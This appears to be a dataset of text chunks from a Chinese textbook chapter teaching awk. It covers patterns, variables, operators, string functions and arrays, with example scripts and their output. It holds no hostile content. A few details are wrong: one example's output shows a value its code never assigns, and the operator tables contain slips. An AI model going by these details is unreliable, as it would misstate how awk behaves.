    {"text": "【 例11-1 】演示通过命令行执行awk程序的方法，具体命令如下： [root@linux chapter11]# awk '{ print }' scores.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 在上面的命令中，awk的程序语句非常简单，在大括号中只有一条print语句，表示输出scores.txt文件中所有的文本行。"},
    {"text": "2．执行awk脚本 在awk程序语句比较多的情况下，用户可以将所有的语句写在一个脚本文件中，然后通过awk命令来解释并执行其中的语句。 awk调用脚本的语法如下： awk -f program-file file .. 在上面的语法中，-f选项表示从脚本文件中读取awk程序语句，program-file表示awk脚本文件名称，file表示要处理的数据文件。 【 例11-2 】演示编写并执行awk程序的方法，其中awk脚本代码如下： 01 #---------------------------/chapter11/ex11-2.awk------------------ 02 # 输出所有的行 03 { print } 上面的代码实际上是将【例11-1】中放在命令行中的程序写入到一个专门的脚本文件中。"},
    {"text": "然后，用户就可以通过以下命令执行该脚本： [root@linux chapter11]# awk -f ex11-2.awk scores.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 可以发现，【例11-2】的执行结果与【例11-1】完全相同。"},
    {"text": "注意： awk脚本中不能含有除awk语句之外的其他命令或者语句，例如Shell命令等。 3．可执行脚本文件 在上面介绍的两种方式中，用户都需要输入awk命令才能执行程序。 除此之外，用户还可以通过类似于Shell脚本的方式来执行awk程序。 在这种方式中，需要在awk程序中指定命令解释器，并且赋予脚本文件的可执行权限。 其中指定命令解释器的语法如下： #!/bin/awk -f 以上语句必须位于脚本文件的第一行。 然后用户就可以通过以下命令执行awk程序： awk-script file 其中，awk-script为awk脚本文件名称，file为要处理的文本数据文件。 【 例11-3 】演示以可执行脚本文件的方式执行awk程序的方法，代码如下： 01 #----------------------------/chapter11/ex11-3.sh------------------ 02 #! /bin/awk -f 03 04 # 输出所有的行 05 { print } 在上面的代码中，第2行指定解释器为/bin/awk，第5行为awk程序语句。"},
    {"text": "[root@linux chapter11]# chmod +x ex11-3.sh [root@linux chapter11]# ./ex11-3.sh scores.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 在上面的命令中，第1个命令将执行权限赋予ex11-3.sh，第2个命令执行ex11-3.sh脚本文件。"},
    {"text": "11.2 awk的模式匹配 在awk中，匹配模式处于非常重要的地位，它决定着匹配模式后面的操作会影响到哪些文本行。 awk中的匹配模式主要包括关系表达式、正则表达式、混合模式，BEGIN模式，以及END模式等，本节将对这些模式匹配进行详细地介绍。"},
    {"text": "11.2.1 关系表达式 awk提供了许多关系运算符，例如大于＞、小于＜或者等于==等，关于关系运算符的详细使用方法，将在11.4节中详细介绍。"},
    {"text": "awk允许用户使用关系表达式作为匹配模式，当某个文本行满足关系表达式时，将会执行相应的操作。 【 例11-4 】演示如何使用关系表达式作为awk命令的匹配模式，代码如下： 01 #---------------------------/chapter11/ex11-4.sh------------------ 02 #! /bin/bash 03 04 # 打印第 2 列的成绩超过 80 的行 05 result='awk '$2 > 80 { print }' scores.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的awk语句中$2>80为关系表达式，表示第2列的成绩超过80分，其中变量$2为列变量，表示第2列的值。"},
    {"text": "该例的执行结果如下： [root@linux chapter11]# ./ex11-4.sh John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Han 92 89 80 83 Kon 88 76 85 97 从上面的执行结果可以得知，第2列的值为79的文本行已经被过滤掉。"},
    {"text": "11.2.2 正则表达式 awk支持以正则表达式作为匹配模式，与sed一样，用户需要将正则表达式放在两条斜线之间，其基本语法如下： /regular_expression/ 【 例11-5 】演示使用正则表达式作为匹配模式的方法，代码如下： 01 #----------------------------/chapter11/ex11-5.sh------------------ 02 #! /bin/bash 03 04 # 输出以字符 T 开头的行 05 result='awk '/^T/ { print }' scores.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的awk语句中的正则表达式为/^T/，表示筛选以字符T开头的文本行。 以上代码的执行结果如下： [root@linux chapter11]# ./ex11-5.sh Tom 81 88 92 81 【 例11-6 】使用更为复杂的正则表达式来充当匹配模式，代码如下： 01 #----------------------------/chapter11/ex11-6.sh------------------ 02 #! /bin/bash 03 04 # 输出以 Tom 或者 Kon 开头的行 05 result='awk '/^(Tom|Kon)/ { print }' scores.txt' 06 07 echo \"$result\" 其中，第5行的awk语句中的正则表达式为/^(Tom|Kon)/，表示匹配所有以Tom或者Kon开头的文本行。 以上代码的执行结果如下： [root@linux chapter11]# ./ex11-6.sh Tom 81 88 92 81 Kon 88 76 85 97 11.2.3 混合模式 awk不仅支持单个的关系表达式或者正则表达式作为模式，还支持使用逻辑运算符&&、||或者!将多个表达式组合起来作为一个模式。"},
    {"text": "【 例11-7 】演示awk命令中混合模式的使用方法，代码如下： 01 #----------------------------/chapter11/ex11-7.sh------------------ 02 #! /bin/bash 03 04 #混合模式 05 result='awk '/^K/ && $2 > 80 { print }' scores.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的模式由一个正则表达式和一个关系表达式通过&&运算符连接起来，表示同时匹配以字符K开头以及第2列的值大于80的行。"},
    {"text": "以上代码的执行结果如下： [root@linux chapter11]# ./ex11-7.sh Kon 88 76 85 97 在scores.txt文件中，以字符K开头的一共有两行，其中一个文本行的第2列的值为79，而另外一行的第2列的值为88。"},
    {"text": "【 例11-8 】在awk命令中使用区间模式匹配一段连续的文本行，代码如下： 01 #----------------------------/chapter11/ex11-8.sh------------------ 02 #! /bin/bash 03 04 # 区间模式 05 result='awk '/^Nancy/, $2==92 { print }' scores.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的awk语句中使用了区间模式来匹配文本行，其中第1个模式为正则表达式，表示匹配以Nancy开头的文本行。"},
    {"text": "以上代码的执行结果如下： [root@linux chapter11]# ./ex11-8.sh Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 注意： 在使用区间模式时，一定要注意前后的边界。"},
    {"text": "【 例11-9 】演示awk命令中BEGIN模式的使用方法，代码如下： 01 #----------------------------/chapter11/ex11-9.sh------------------ 02 #! /bin/awk -f 03 04 # 通过 BEGIN 模式输出字符串 05 BEGIN { print \"Hello! World.\" } 在上面的代码中，第2行指定命令解释器为awk，第5行指定模式为BEGIN，其所对应的操作为print语句。"},
    {"text": "通常情况下，用户可以将一些初始化的操作放在BEGIN模式的操作中，例如自定义列分隔符、行分隔符，以及初始化变量等，如下面的例子所示。 【 例11-10 】在BEGIN模式中进行变量的初始化操作。 代码如下： 01 #---------------------------/chapter11/ex11-10.sh------------------ 02 #! /bin/awk -f 03 04 # 通过 BEGIN 模式初始化变量 05 BEGIN { 06 FS=\"[\\t:]\" 07 RS=\"\\n\" 08 count=30 09 print \"The report is about students's scores.\" 10 } 在上面的代码中，第5行是BEGIN模式的开始，在大括号里面是一系列的操作，其中第6行指定列分隔符为制表符，第7行指定行分隔符为换行符，第8行定义了一个名称为count的变量，第9行输出一条信息。 以上代码的执行结果如下： [root@linux chapter11]# ./ex11-10.sh The report is about students's scores. 由于【例11-10】只有一条输出语句，所以只输出一行信息。"},
    {"text": "11.2.6 END模式 END模式是awk的另外一种特殊模式，该模式成立的时机与BEGIN模式恰好相反，它是在awk命令处理完所有的数据，即将退出程序时成立，在此之前，END模式并不成立。"},
    {"text": "【 例11-11 】演示awk程序中END模式的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-11.sh------------------ 02 #! /bin/awk -f 03 04 # 输出报表头 05 BEGIN { 06 print \"scores report\" 07 print \"=================================\" 08 } 09 10 # 输出数据 11 { print } 12 13 # 报表完成 14 END { 15 print \"================================\" 16 print \"printing is over\" 17 } 在上面的代码中，第5～8行是BEGIN模式以及操作，用于数报表的头部。"},
    {"text": "以上代码的执行结果如下： [root@linux chapter11]# ./ex11-11.sh scores.txt scores report ================================= John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 ================================ printing is over 11.3 变量 与其他程序设计语言一样，awk本身支持变量的相关操作，包括变量的定义和引用，以及参与相关的运算等。"},
    {"text": "11.3.1 变量的定义和引用 变量是用来存储数据。 变量由变量名和值两部分组成，其中变量名是用来实现变量值的引用的途径，而变量值则是内存空间中存储的用户数据。"},
    {"text": "代码如下： 01 #---------------------------/chapter11/ex11-12.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义变量 x 06 x=3 07 # 定义变量 message 08 message=\"Hello \" \"world\" 09 # 输出变量 10 print x 11 print message 12 } 在上面的代码中，第6行定义了变量x，并将数值3赋给变量x。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-12.sh 3 Hello world 11.3.2 系统内置变量 akw提供了许多非常实用的系统变量，例如字段变量、字段数变量，以及记录数变量等。"},
    {"text": "表11-1 常用的awk系统变量 变 量 说 明 $0 记录变量，表示当前正在处理的记录 $n 字段变量，其中n为整数，且n大于1。 表示第n个字段的值 NF 整数值，表示当前记录（变量$0所代表的记录）的字段数 NR 整数值，表示awk已经读入的记录数 FILENAM 表示正在处理的数据文件的名称 FS 字段分隔字符，默认值是空格或者制表符 RS 记录分隔符，默认值是换行符 与关系型数据库相对应，awk所要处理的文件也是由许多记录（record）组成。"},
    {"text": "在本章中，我们引入了记录和字段的概念，其主要原因在于尽管awk是逐行读取数据的，但是在处理数据时却是以记录为单位的，而且在某些情况下，记录可以跨越多行。"},
    {"text": "在表11-1中，变量$0表示awk正在处理的记录，该变量将整个记录作为一个字符串来处理。 变量$n所表示的是当前记录的第n个字段的值，例如$1表示第1个字段的值，$2表示第2个字段的值，依此类推。"},
    {"text": "NF代表当前记录的字段数（number of field），在某些特殊情况下，数据文件的各条记录的字段数并不一定完全相同，所以对于所有的记录来说，该变量的值也不一定相同。"},
    {"text": "为了处理这种情况，用户可以使用FS变量自定义当前数据文件的字段分隔符，awk会在处理数据文件之前参考该变量的值来分隔记录中的各个字段。"},
    {"text": "但是，这并不意味着总是这样，有些数据文件中用多行文本来描述一条记录，如下： Xiong, Yi Can live xPlane imaging of the in-plane view...? Pentacyclic hemiacetal sterol with antifouling... Song Lin Incidence of brain injuries in premature infants... Identification of Ichthyotoxic Microalgae Species... Rifampicin and Parkinson's disease Li, Zhaohui Frequency-locked multicarrier generator based... Behavioral Stress Fails to Accelerate the Onset... … 在上面的文件中，每条记录由作者及其发表的论文组成，首先是作者姓名，然后依次是所发表的论文的标题，每个字段都是独占一行。"},
    {"text": "【 例11-13 】使用默认的记录分隔符处理数据，代码如下： 01 #---------------------------/chapter11/ex11-13.sh------------------ 02 #! /bin/awk -f 03 04 { 05 # 输出每行数据 06 print 07 print \"==========================================\" 08 } 在上面的代码中，第6行的作用是输出awk读取的数据行，第7行打印一行横线作为屏幕上记录之间的分隔线。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-13.sh articles.txt Xiong, Yi ========================================== Can live xPlane imaging of the in-plane view...? ========================================== Pentacyclic hemiacetal sterol with antifouling... ========================================== ========================================== Song Lin ========================================== Incidence of brain injuries in premature infants... ========================================== Identification of Ichthyotoxic Microalgae Species... ========================================== Rifampicin and Parkinson's disease ========================================== … 从上面的执行结果可以得知，【例11-13】将一条完整的记录拆分成了多条记录，即原本是字段的数据现在也作为记录来显示了，显然，这种结果并不是用户所希望看到的。"},
    {"text": "【 例11-14 】本例通过自定义记录分隔符解决了【例11-13】中出现的问题，代码如下： 01 #---------------------------/chapter11/ex11-14.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义记录分隔符 06 RS=\"\" 07 } 08 09 { 10 print 11 print \"==========================================\" 12 } 在上面的代码中，第6行定义记录分隔符为空串，此时，awk会将空白行作为记录分隔符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-14.sh articles.txt Xiong, Yi Can live xPlane imaging of the in-plane view...? Pentacyclic hemiacetal sterol with antifouling... ========================================== Song Lin Incidence of brain injuries in premature infants... Identification of Ichthyotoxic Microalgae Species... Rifampicin and Parkinson's disease ========================================== Li, Zhaohui Frequency-locked multicarrier generator based... Behavioral Stress Fails to Accelerate the Onset... ========================================== 从上面的执行结果可以得知，在指定列分隔符之后，程序已经正确处理文件中的记录了。"},
    {"text": "注意： 当将记录分隔符指定为空字符串时，awk会将多个连续的空白行看做一个单一的记录分隔符，也就是说，awk不会再将空白行作为一条空白记录。"},
    {"text": "【 例11-15 】演示如何通过自定义记录分隔符和字段分隔符来处理articles.txt文件，代码如下： 01 #---------------------------/chapter11/ex11-15.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义记录分隔符 06 RS=\"\" 07 # 定义字段分隔符 08 FS=\"\\n\" 09 } 10 # 输出第 1 个字段 11 { print $1 } 在上面的代码中，第6行指定记录分隔符为空字符串，第8行指定字段分隔符为换行符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-15.sh articles.txt Xiong, Yi Song Lin Li, Zhaohui 从上面的执行结果可以得知，程序已经正确输出了第1列的值。"},
    {"text": "11.3.4 记录和字段的引用 在awk中，用户可以使用系统变量来引用数据文件中的记录和字段。 与关系型数据库不同，awk每次只是读取一行文本，因此，在awk程序中记录和字段的引用都是针对当前记录来说的。"},
    {"text": "【 例11-16 】在awk脚本中引用当前记录，代码如下： 01 #---------------------------/chapter11/ex11-16.sh------------------ 02 #! /bin/awk -f 03 04 # 通过 $0 引用整个记录 05 { print $0 } 该程序的执行结果如下： [root@linux chapter11]# ./ex11-16.sh scores.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 从上面的执行结果可以得知，变量$0的值正是当前的记录。"},
    {"text": "【 例11-17 】演示如何通过系统变量来输出具体的字段，代码如下： 01 #---------------------------/chapter11/ex11-17.sh------------------ 02 #! /bin/awk -f 03 04 { 05 # 输出第 1 个字段以及第 2~5 个字段的和 06 print $1, $2+$3+$4+$5 07 } 在上面的代码中，第6行输出第1个字段，以及第2～5个字段的和。 该程序的执行结果如下： [root@linux chapter11]# ./ex11-17.sh scores.txt John 343 Nancy 334 Tom 342 Kity 317 Han 344 Kon 346 注意： 对于用户来说，变量$0并不是只读的，用户可以自己把数据存储到$0变量中， awk仍然会自动分隔成多个字段。"},
    {"text": "11.4 运算符和表达式 awk是一种编程语言环境，因此，它也支持常用的运算符及表达式，例如算术运算、逻辑运算，以及关系运算等。 本节将对awk所支持的常用的运算符及表达式进行介绍。 11.4.1 算术运算符 awk支持常用的算术运算，这一点与其他程序设计语言基本相同。 如表11-2所示，列出了awk所支持的算术运算符。 表11-2 awk支持的算术运算符 运 算 符 说 明 举 例 + 加法运算 1+2表示计算1和2的和 - 减法运算 82-2表示计算82和2的差 * 乘法运算 2*5表示计算2和5的积 / 除法运算 6/3表示计算6和2的商 % 求模运算 5/2表示计算5除以2的余数 ^ 指数运算 2^3表示计算2的3次方 【 例11-18 】演示awk各种算术运算的操作，代码如下： 01 #---------------------------/chapter11/ex11-18.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 除法运算 06 x=5/2 07 print x 08 # 求模运算 09 x=5%2 10 print x 11 # 指数运算 12 x=2^3 13 print x 14 } 在上面的代码中，第6行计算表达式5除以2的商，第9行计算表达式5除以2的余数，第12行计算2的3次方。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-18.sh 2.5 1 8 在上面的执行结果中，第1行是5除以2的商，可以得知，awk支持浮点数。"},
    {"text": "11.4.2 赋值运算符 如表11-3所示，列出了awk中常用的赋值运算符。 表11-3 awk支持的赋值运算符 运 算 符 说 明 举 例 = 赋值运算 x=5表示将数值5赋给变量x += 复合赋值运算，表示将前后两个数值相加后的和赋给前面的变量 x+=5表示先将x的值与5相加，然后将和赋给变量x，等价于表达式x=x+5 -= 复合赋值运算，表示将前后两个数值相减后的查赋给前面的变量 x-=5表示先将变量x的值减去5，然后将得到的差赋给变量x，等价于表达式x=x-5 *= 复合赋值运算，表示前后两个数值的乘积赋给前面的变量 x*=5表示先将变量x的值乘以5，然后将得到的乘积赋给变量x /= 复合赋值运算，表示将前后两个数值的商赋给前面的变量 x/=5表示先将变量x除以5，然后将得到的商赋给变量x %= 复合赋值运算，表示将前面的数值除以后面的数值所得的余数赋给前面的变量 x%=5表示将变量x与5相除后的余数赋给变量x ^= 复合运算符，表示将前面的数值的后面数值次方赋给前面的变量 x^=3表示将变量x的3次方赋给变量x 在表11-3中，除了赋值运算符=之外，其他的都是复合赋值运算符，也就是先执行某个运算，然后将运算结果赋给前面的变量。 【 例11-19 】演示赋值运算符的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-19.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 简单赋值 06 x=4 07 print x 08 # 求和赋值 09 x+=10 10 print x 11 # 乘积赋值 12 x*=2 13 print x 14 # 幂运算赋值 15 x^=2 16 print x 17 } 在上面的代码中，第6行是简单赋值语句，将整数值4赋给变量x。"},
    {"text": "第9行是加法复合赋值运算，将变量x的值先加上10，然后赋给变量x，此时变量x的值为14。 第12行是乘法复合赋值运算，先将变量x的值乘以2，然后赋给变量x，此时变量x的值为28。 第15行是幂赋值复合运算，先计算变量x的2次方，然后将计算结果赋给变量x，最后变量x的值为784。"},
    {"text": "11.4.3 条件运算符 awk中的条件运算符只有一个，其语法如下： expression?value1:value2 这是一个三目运算符，当表达式expression的值为真时，返回值为value1；"},
    {"text": "【 例11-20 】演示条件运算符的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-15.sh------------------ 02 #! /bin/awk -f 03 04 { 05 # 如果大于 90 ，输出 A ，否则输出 B 06 grade=($2>90?\"A\":\"B\") 07 print grade 08 } 在上面的代码中，第6行中的条件运算符表示当第2个字段的值大于90时，变量grade的值为A；"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-20.sh scores.txt B B B B A B 11.4.4 逻辑运算符 awk支持3种逻辑运算，分别为逻辑与、逻辑或和逻辑非，如表11-4所示，列出了这3种运算的运算符。 表11-4 awk支持的逻辑运算符 运 算 符 说 明 举 例 && 逻辑与，当前后两个表达式的值全部为真时，其运算结果才为真，反之则为假 1>2&&3>2的值为假 || 逻辑或，前后两个表达式只要有一个为真，则其运算结果为真。 当两个表达式的值都为假时，其运算结果才为假 •1>2||3>2的值为真 ! 逻辑非，当表达式的值为真时，其运算结果为假； 当表达式的值为假时，其运算结果为真 !(1>2)的值为真 【 例11-21 】演示&&运算符的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-21.sh------------------ 02 #! /bin/awk -f 03 04 # 输出所有的字段的值都大于 80 的记录 05 $2 > 80 && $3 > 80 && $4 > 80 && $5 >80 { 06 print 07 } 在上面的代码中，第5行的匹配模式为第2～5个字段的值都大于80。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-21.sh scores.txt Tom 81 88 92 81 11.4.5 关系运算符 awk支持常用的关系运算符，例如大于、小于，以及等于等，如表11-5所示，列出了awk中常用的关系运算符。 表11-5 awk中的关系运算符 运算符 说 明 举 例 > 大于 5>2的值为真 >= 大于或者等于 8>=8的值为真 < 小于 8<12的值为假 <= 小于或者等于 4<=7的值为真 == 等于 8==8的值为真 != 不等于 1!=3的值为真 ～ 匹配运算符 $1～/^T/表示匹配第1个字段以字符T开头的记录 !～ 不匹配运算符 $1 !～/a/表示匹配第1个字段不含有字符a的记录 在表11-5中，匹配运算符～和不匹配运算符!～是awk所特有的关系运算符，其语法如下： A ~ B 和 A !~ B 在上面的语法中，A表示一个字符串，B表示一个正则表达式。"},
    {"text": "匹配运算符表示判断字符串A中是否含有符合正则表达式B所表达的子字符串； 不匹配运算符表示字符串A中是否不含有符合正则表达式B所表达的子字符串。"},
    {"text": "【 例11-22 】演示匹配运算符的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-22.sh------------------ 02 #! /bin/awk -f 03 04 # 匹配第 1 个字段以字符 K 开头的记录 05 $1 ~ /^K/ { print } 在上面的代码中，第5行的匹配模式为$1～/^K/，表示第1个字段是以字符K开头的记录。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-22.sh scores.txt Kity 79 65 83 90 Kon 88 76 85 97 11.4.6 其他运算符 除了前面介绍的运算符之外，awk还支持其他的一些运算符，例如正号+、负号-、自增++，以及自减--等。"},
    {"text": "11.5.1 字符串函数 字符串是awk中的两大类型之一，awk提供了一些常见的字符串处理函数，例如index()、length()，以及match()等，如表11-6所示，列出了常用的字符串函数。 表11-6 awk常用的字符串函数 函数 说 明 index(string1, string2) 返回string2在string1中的位置。"},
    {"text": "如果string1不包含string2，则该函数返回0 length(string) 返回字符串string的长度 match(string, regexp) 在字符串string中搜索符合正则表达式regexp的子字符串。"},
    {"text": "该函数的返回值体现在系统变量RSTART和RLENGTH中 split(string,array,seperator) 根据指定的分隔符seperator，将字符串string分隔成多个字段，并存储到数组array中 sub(regexp,replacement,string) 将字符串string中的第1个符合正则表达式regexp的子字符串替换为replacement gsub(regexp,replacement,string) 将字符串string中所有符合正则表达式regexp的子字符串全部替换为replacement substr(string,start,[length]) 从字符串string中截取指定的子串，起始位置为start，长度为length。"},
    {"text": "【 例11-23 】演示index()函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-23.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 输出子串在父串中出现的位置 06 print index(\"Hello,world.\",\"world\") 07 } 在上面的代码中，第6行的index()函数搜索字符串world在字符串Hello,world中出现的位置。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-23.sh 7 2. length(string) 该函数的返回值为整数，表示字符串string的长度。 【 例11-24 】演示length()函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-24.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 输出字符串的长度 06 print length(\"Hello, world.\") 07 } 该程序的执行结果如下： [root@linux chapter11]# ./ex11-24.sh 13 3. match(string, regexp) 该函数的第1个参数为字符串，第2个参数为正则表达式，其功能是在字符串string中搜索匹配正则表达式的子串。"},
    {"text": "其中，RSTART用来返回正则表达式匹配的子串在父串中出现的位置，如果匹配不成功，则返回0。 RLENGTH用来返回正则表达式匹配的子串的长度，如果匹配不成功，则返回-1。"},
    {"text": "【 例11-25 】演示match()函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-25.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 通过正则表达式搜索子串 06 match(\"Hello, world.\",/o/) 07 print RSTART, RLENGTH 08 } 在上面的代码中，第6行的match()函数中的正则表达式为/o/，表示匹配字符o。"},
    {"text": "4. split(string, array, seperator) 该函数的功能是将一个字符串根据指定的分隔符拆分成一个数组。 其中第1个参数为要拆分的字符串，第2个参数是用来存储拆分结果的数组，第3个参数用来指定分隔符，分隔符可以使用正则表达式来表达。 【 例11-26 】演示split()函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-26.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 string=\"5P12p89\" 06 # 使用分隔符 P 或者 p 分隔字符串 07 split(string,arr,/[Pp]/) 08 # 输出第 1~3 个数组元素 09 print arr[1] 10 print arr[2] 11 print arr[3] 12 } 在上面的代码中，第7行的split()函数中的分隔符为正则表达式/[Pp]/，表示使用大写字母P或者小写字母p来分隔字符串。"},
    {"text": "5. sub(regexp, replacement, string)和gsub(regexp, replacement, string) 这2个函数的作用都是替换字符串中的子串，其区别在于前者只替换第1次出现的子串，而后者则替换所有出现的子串。"},
    {"text": "【 例11-27 】演示sub()函数以及gsub()函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-27.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义字符串 06 string=\"abcd6b12abcabc212@123465\" 07 # 将第 1 个符合正则表达式 /(abc)+[0-9]*/ 的子串用括号括起来 08 sub(/(abc)+[0-9]*/,\"(&)\",string) 09 print string 10 11 # 将所有符合正则表达式 /(abc)+[0-9]*/ 的子串用括号括起来 12 gsub(/(abc)+[0-9]*/,\"(&)\",string) 13 print string 14 } 在上面的代码中，第6行定义了一个由各种字符组成的字符串。 第8行的sub()函数的第1个参数为正则表达式/(abc)+[0-9]*/，表示匹配1个或者多个字符串abc，后面紧跟着0个或者多个数字的字符串； 第2个参数为(&)，其中的圆括号是普通字符，&符号表示引用前面匹配的子串，这个符号的作用在介绍正则表达式时已经详细介绍过了。 第12行的作用与第8行大致相同，不过使用的是gsub()函数，因此第8行替换的是第1次出现的子串，而第12行替换的所有出现的子串。 该程序的执行结果如下： [root@linux chapter11]# ./ex11-27.sh (abc)d6b12abcabc212@123465 ((abc))d6b12(abcabc212)@123465 在上面的执行结果中，第1行字符串是sub()函数的替换结果，可以发现，sub()函数只替换了最开始的abc这3个字符。 而第2行字符串是gsub()函数的替换结果，可以发现， gsub()函数进行了两处替换。 注意： 【例11-27】执行结果中的第2行字符串的最开始3个字符由两层圆括号包围，这是因为前面已经使用sub()函数替换过1次。"},
    {"text": "第1个参数为父串，第2个参数表示子串开始截取的位置，第3个参数表示要截取的长度。 其中，第3个参数可以省略，如果省略了该参数，则表示从start参数指定的位置开始，一直截取到父串的末尾。"},
    {"text": "【 例11-28 】演示使用substr()函数截取子串的方法，代码如下： 01 #---------------------------/chapter11/ex11-28.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义字符串变量 06 pages=\"p12-P34 P56-p78\" 07 # 通过循环依次匹配字符串中的数字 08 while(match(pages,/[0-9]+/)>0) { 09 # 截取并输出匹配的子串 10 print substr(pages,RSTART,RLENGTH) 11 # 删除匹配的子串 12 sub(/[0-9]+/,\"\",pages) 13 } 14 } 在上面的代码中，第6行定义了一个包含字母、数字，以及连字符的字符串。"},
    {"text": "第8～13行是while循环结构，关于while循环结构，将在11.7节中介绍。 第8行中while循环语句的执行条件为match(pages,/[0-9]+/)>0，表示当字符串变量pages中含有一个或者多个连续的数字时执行循环结构。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-28.sh 12 34 56 78 从上面的执行结果可以得知，字符串中的所有的连续的数字都被提取出来了。"},
    {"text": "11.5.2 算术函数 awk提供了基本的执行算术运算的函数，如表11-7所示。 表11-7 awk中的算术函数 函数 说 明 int(x) 返回数值x的整数部分 sqrt(x) 返回数值x的平方根 exp(x) 返回e的x次方 log(x) 返回以e为底的对数值 sin(x) 返回x的正弦值，其中x为弧度值 cos(x) 返回x的余弦值，x为弧度值 rand() 返回介于0与1之间的随机数 srand([x]) 以x为种子返回一个随机数 关于算术函数的使用方法与其他程序设计语言基本相同，不再详细说明。"},
    {"text": "awk数组的命名规则与变量名基本相同，也是由字母、数字和下划线组成。 另外，awk的数组名也是区分大小写的，例如array和Array是不同的数组名，初学者务必注意这一点。 awk数组的下标从1开始计算，即数组的第1个元素的下标为1，第2个元素的下标为2，依此类推。"},
    {"text": "数组元素赋值的语法如下： array[n]=value 其中，array表示数组名称，n表示数组元素的下标，等号为赋值运算符，value为要赋给数组元素的数值。 用户可以使用以下语法引用数组元素的值： array[n] 其中，array表示数组名称，n为数组元素的下标。 【 例11-29 】演示awk脚本中数组的定义、数组元素的赋值，以及引用数组元素的方法，代码如下： 01 #---------------------------/chapter11/ex11-29.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 为数组元素赋值 06 arr[1]=\"Tim\" 07 arr[\"a\"]=12 08 arr[3]=3.1415 09 arr[4]=5 10 # 输出数组元素的值 11 print arr[1],arr[2],arr[\"a\"]*arr[3],arr[4] 12 } 在上面的代码中，第6行创建了一个名称为arr的数组，并且为下标为1的元素赋值为一个字符串Tim；"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-29.sh Tim John 37.698 5 从上面的执行结果可以得知，在同一个数组中，可以混合使用整数下标和字符串下标。"},
    {"text": "【 例11-30 】演示通过正常的for循环结构来遍历数组，代码如下： 01 #---------------------------/chapter11/ex11-30.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义数组 06 stu[1]=\"200200110\" 07 stu[2]=\"200200164\" 08 stu[3]=\"200200167\" 09 stu[4]=\"200200168\" 10 stu[5]=\"200200172\" 11 12 # 计算数组的长度 13 len=length(stu) 14 15 # 通过循环遍历数组 16 for(i=1;i<=len;i++) 17 { 18 print i,stu[i] 19 } 20 } 在上面的代码中，第6～10行定义了一个名称为stu的数组，包含5个元素。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-30.sh 1 200200110 2 200200164 3 200200167 4 200200168 5 200200172 使用上面的方法遍历数组有一个前提条件，即数组元素的下标必须是连续的，并且是整数值作为下标。"},
    {"text": "awk提供一种更为便捷的机制来遍历数组元素，其语法如下： for (n in array) { print array[n] } 在上面的语法中，n表示数组元素的下标，array表示数组的名称。 当使用以上语法遍历数组时，awk会将数组array中的每个现有的下标依次赋给变量n，每次赋值之后都执行一次循环体中的代码。"},
    {"text": "【 例11-31 】演示使用for结构来遍历数组的方法，代码如下： 01 #---------------------------/chapter11/ex11-31.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义数组 06 arr[1]=\"Tim\" 07 arr[2]=\"John\" 08 arr[\"a\"]=12 09 arr[3]=3.1415 10 arr[4]=5 11 arr[99]=23 12 13 # 遍历数组 14 for(n in arr) 15 { 16 print arr[n] 17 } 18 } 在上面的代码中，第6～11行定义了一个名称为arr的数组，其下标包括整数和字符串，另外数组的下标是不连续的。 第14～17行通过for循环来遍历数组。"},
